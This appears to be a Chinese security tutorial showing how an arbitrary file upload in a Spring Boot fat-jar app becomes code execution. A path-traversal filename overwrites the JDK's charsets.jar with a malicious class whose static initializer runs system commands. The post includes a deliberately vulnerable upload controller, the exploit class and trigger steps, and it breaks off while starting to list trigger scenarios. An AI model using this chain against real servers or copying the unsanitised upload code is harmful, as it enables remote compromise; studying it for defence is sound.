前言
java任意文件写:之前都是利用 linux crontab 计划任务文件、替换 so/dll 系统文件进行劫持等一些操作系统层面的东西来实现 RCE,实际环境下因为网络联通性、文件权限等各种条件限制,都不是特别好用,所以找一个 java 代码层面的利用方法就显得很有必要。
环境
直接springboot写一个文件上传
生成基础环境
https://start.spring.io/
pom.xml依赖如下,其他默认
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.2.1.RELEASE</version> <relativePath/> <!-- lookup parent from repository --> </parent>
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <!-- <exclusions>--> <!-- <exclusion>--> <!-- <groupId>org.springframework.boot</groupId>--> <!-- <artifactId>spring-boot-starter-tomcat</artifactId>--> <!-- </exclusion>--> <!-- </exclusions>--> </dependency>
<!-- <dependency>--> <!-- <groupId>org.springframework.boot</groupId>--> <!-- <artifactId>spring-boot-starter-jetty</artifactId>--> <!-- </dependency>-->
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency>
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.76</version> </dependency>
<dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.48</version> </dependency>
|
前端自己抄一下
uploadController
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package com.example.FatJarUploadFile;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.multipart.MultipartFile; import org.springframework.web.servlet.mvc.support.RedirectAttributes;
import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths;
@Controller public class UploadController { @GetMapping("/uploadIndex") public String uploadPage(){ return "upload"; }
@GetMapping("/uploadStatus") public String uploadStatus() { return "uploadStatus"; }
@PostMapping("/upload") public String singleFileUpload(@RequestParam("file") MultipartFile file, RedirectAttributes redirectAttributes) { if (file.isEmpty()) { redirectAttributes.addFlashAttribute("message", "请选择文件上传"); return "redirect:uploadStatus"; }
try { byte[] bytes = file.getBytes(); Path path = Paths.get("d://public/" + file.getOriginalFilename()); Files.write(path, bytes);
redirectAttributes.addFlashAttribute("message", "上传成功!'" + file.getOriginalFilename() + "'");
} catch (IOException e) { redirectAttributes.addFlashAttribute("message", "Server throw IOException"); e.printStackTrace(); } return "redirect:/uploadStatus"; }
}
|
自行测试是否上传成功,
http://127.0.0.1:18081/uploadIndex
我这里写的是传到d://public/文件夹下。
根据LandGrey师傅的说法漏洞利用步骤如下
-
选择上传文件 charsets.jar
-
使用上传文件功能,上传时用 burpsuite 截住数据包,filename 修改为 …/…/usr/lib/jvm/java-1.8-openjdk/jre/lib/charsets.jar 或C:\Program Files\Java\jdk1.8.0_65\jre\lib\charsets.jar
-
上传成功后使用漏洞利用场景里的数据包触发漏洞(例如spring原生场景调用charset,或者fastjson调用Charset包等)
-
漏洞触发成功会在 /public/ 目录产生 charsets_test_[random-string].log 样式名字的文件
-
最后使用列目录功能查看漏洞利用是否成功
漏洞利用条件
可参考附录常见的 jdk lib 默认目录位置,然后使用字典枚举尝试
jdk 自带文件 /jre/lib/ *.jar
没被 Opened 过
- 以 charsets.jar 文件举例:程序代码中不使用 Charset.forName(“GBK”) 类似的调用,默认就不会 Opened charsets.jar 文件
⚠️ 值得注意的是,只能主动触发一次 Opened *.jar
文件,如果漏洞利用没有成功,则同名 jar 文件就不能再利用了
charsets.jar
写个加载runtime的java(判断一波系统,然后执行相关的代码,这里直接写的执行计算器),然后生成jar即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package sun.nio.cs.ext;
import java.util.UUID;
public class IBM33722 { static { fun(); }
public IBM33722(){ fun(); }
private static java.util.HashMap<String, String> fun(){ String[] command; String random = UUID.randomUUID().toString().replace("-","").substring(1,9); String osName = System.getProperty("os.name"); if (osName.startsWith("Mac OS")) { command = new String[]{"/bin/bash", "-c", "open -a Calculator"}; } else if (osName.startsWith("Windows")) { command = new String[]{"cmd.exe", "/c", "calc"}; } else { if(new java.io.File("/bin/bash").exists()){ command = new String[]{"/bin/bash", "-c", "touch /tmp/charsets_test_" + random + ".log"}; }else{ command = new String[]{"/bin/sh", "-c", "touch /tmp/charsets_test_" + random + ".log"}; } } try{ java.lang.Runtime.getRuntime().exec(command); }catch (Throwable e1){ e1.printStackTrace(); } return null; }
}
|
类装载与类初始化
类装载 (Class loading) 和 类初始化 (Class initialization)
类装载是由 jvm 的不同 ClassLoader,包括 Bootstrap Classloder、Extention ClassLoader、App ClassLoader 和用户自定义的 Classloder 完成的。类装载通常是一个 Class 在字节码中引用另一个 Class 时被动触发的,也有通过 Classloder loadClass 和 Class forName 等方式主动触发的。
类初始化 一定发生在类装载之后,当调用类中的静态属性或者静态方法时,会被动触发类的初始化;调用 new 关键词、newInstance 方法、Class.forName 等方法时,会主动触发类的初始化。
代码描述:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| classLoader.loadClass(className);
Class.forName(className, false, classLoader);
classLoader.loadClass(className).newInstance();
Class.forName(className, true, classLoader);
Class.forName(className);
|
- 类装载之后不一定会初始化,不会执行
任何代码
。
- 类初始化意味着类装载已经完成,会执行类中的特定代码。
总结:先把类加载进去,然后再用forName或者newInstance进行初始化,执行静态代码块。
流程
在 java 程序运行的命令行中使用 -XX:+TraceClassLoading,可以观察到像如下在控制台输出的类装载过程日志
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import java.util.Scanner;
public class ClassLoading { private static Scanner scanner = new Scanner(System.in);
private static void promptAndWait() { System.out.println("请按回车"); scanner.nextLine(); }
public static void main(String[] args) throws Exception { promptAndWait(); Object o = new One();
promptAndWait(); o = new Two();
promptAndWait(); o = new Three(); }
}
class One { }
class Two { }
class Three { }
|
1 2 3
| javac -encoding UTF-8 com\coder\zer\ClassLoading.java
java -XX:+TraceClassLoading -cp . com.coder.zer.Classloading
|
这一装载过程会选择性地装载以下四个jar:
- rt.jar
- jfr.jar
- jsse.jar
- jce.jar
其中里面的 Opened 操作代表打开指定文件,通常表示第一次读取相关字节码到内存;Loaded 操作代表将读取的指定类的字节码进行装载。(如上代码所示,按下回车则Loaded一次指定类)
为什么要类初始化
因为类初始化时会执行 static 代码块、static 属性引用的方法等,还可能执行构造器中的代码。
控制程序在指定的写文件漏洞可控的文件范围内,主动触发初始化恶意的类,使任意写变为代码执行漏洞。
传到哪里
由于springboot会把所有资源打包到jar文件内,所以没办法写入文件到应用的 classpath 目录,但是我们可以写入到文件最底层的“系统的 classpath 目录”,即JDK HOME 目录下。
限制:只有替换 JDK HOME 目录下原有的 jar 才可行,而且还得寻找系统启动后没有进行过 Opened 操作的系统 jar 文件。(这点LandGrey师傅已经说过)
了解SPI机制
打包FatJar的依赖
1 2 3 4 5 6 7 8 9
| <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build>
|
寻找可控的主动类初始化
1.spring 原生场景